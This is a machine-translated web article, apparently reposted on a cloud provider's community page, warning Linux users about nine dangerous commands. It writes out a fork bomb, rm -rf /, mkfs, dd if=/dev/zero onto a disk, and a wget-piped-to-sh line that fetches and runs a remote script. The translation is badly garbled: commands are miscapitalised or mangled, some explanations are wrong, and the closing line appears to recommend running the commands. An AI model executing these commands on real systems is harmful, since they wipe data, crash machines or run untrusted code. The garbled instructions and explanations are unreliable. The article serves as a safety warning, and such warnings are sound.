Personal summary of 9 Linux commands & codes that must always be vigilant

Source: Internet
Author: User

1. Linux Fork Bomb Command

:() {: |: &};: Known as fork Bomb, is a Linux system that rejects service attacks. :() {: |: &};: is a bash function. As long as it is executed, he will keep repeating until the system is frozen.

You can only reboot the system to solve the problem. So be sure to pay attention when you execute this command on the Linux interface.

2. Mv folder/dev/null Command

MV Folder/dev/null is also a dangerous command. Dev/null or null device is a device file that deletes all data written on this device file, but the operation prompts for a successful execution of the write operation. This is what we often say about bit bucked or black hole.

3. RM-RF Command

The RM-RF command can quickly delete folders and their contents in a Linux system. If you don't know how to use it correctly, you'll have to cry.

The most common combinations and selections of M-RF commands are listed below:

RM command: Remove files from Linux system
rm-f command: Delete A read-only file in a file without prompting
Rm-r command Loops Delete the contents of a folder
rm-d command: Deletes an empty directory and does not perform the operation if it is not empty
Rm-rf/command: Forces deletion of all content and subfolders (including write-protected files) commands in the root directory.
rm-rf* command: Forces deletion of all content in the current directory (current working directory) and Word folders
RM-RF. Command: Forces deletion of all content in the current folder directory/subdirectory. With rm-r.[^.] *
The rm-r.[^.] * Command: Delete files and folders with delete prompts

4. Mkfs Command

If you don't know Mkfs's role, then it's also a dangerous command, and any commands written after MKFS will be formatted and replaced by a blank Linux file system.

The following is a list of commands that require administrator privileges to format the hard disk:

Mkfs
Mkfs.ext3
Mkfs.bfs
Mkfs.ext2
Mkfs.minix
Mkfs.msdos Mkfs.reiserfs
Mkfs.vfat
Mkfs.cramfs can also do the same thing with the above code, but you don't need to manage source permissions.

5. Tar Bomb

The tar command is used to put multiple files into a file in a. tar format (archive file). Tape Archive (Tar) bomb can be created by him.

When it comes to compression, this archive file generates tens of thousands of similar name files that appear in the current directory instead of the new directory.

When you receive a tar file, create a new protected directory on a regular basis, and then put the accepted tar file in this directory before you extract it, you can avoid being the victim of tar bomb.

6. Dd Command

The DD command is used to replicate & change hard disk partitions. If you use the wrong place, it's also dangerous.

The DD command is listed below:

DD If=/dev/hda OF=/DEV/HDB
DD If=/dev/hda OF=/DEV/SDB
DD if=something Of=/dev/hda
DD if=something OF=/DEV/SDA
The following command will clear the entire master hard drive 0: DD If=/dev/zero of=/dev/had

7. Shell Script Code

Sometimes you may be trapped in a hole and give you a shell script file that lets you download and execute it. The script may contain some malicious or dangerous code. This may be the order form: wget http://some_malicious_source-o-| Sh. wget will download the script in the SH narrow script.

8. Malicious Source Code

Maybe someone will give you the source code to get you to compile him. The code may be normal code, but there are some malicious code disguised in large source code, and if so, your system is shot. How to avoid it? Only accept and compile source code for trusted sources.

9. Decompression Bomb

You have received a compressed file and you are asked to extract this seemingly small file, which may be as small as KB. In fact, this small size compressed file contains highly compressed data.

As long as the file is uncompressed, hundreds of gigabytes of data will be extracted, at this time, too large data to fill the hard drive to cause downtime, the chances are great. How to avoid it? It's the old saying, don't be a cheap hand, what files to receive, please receive a trusted source file.

It is generally recommended that new Linux users perform these commands on the web, and, of course, someone who has written the code doesn't think so, because it's not a joke when you write it down. There are also a few things to note: Some commands are only dangerous when there is a sudo prefix in Ubuntu. Linux for other distributions is a hazard when it is used as a root directory command.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.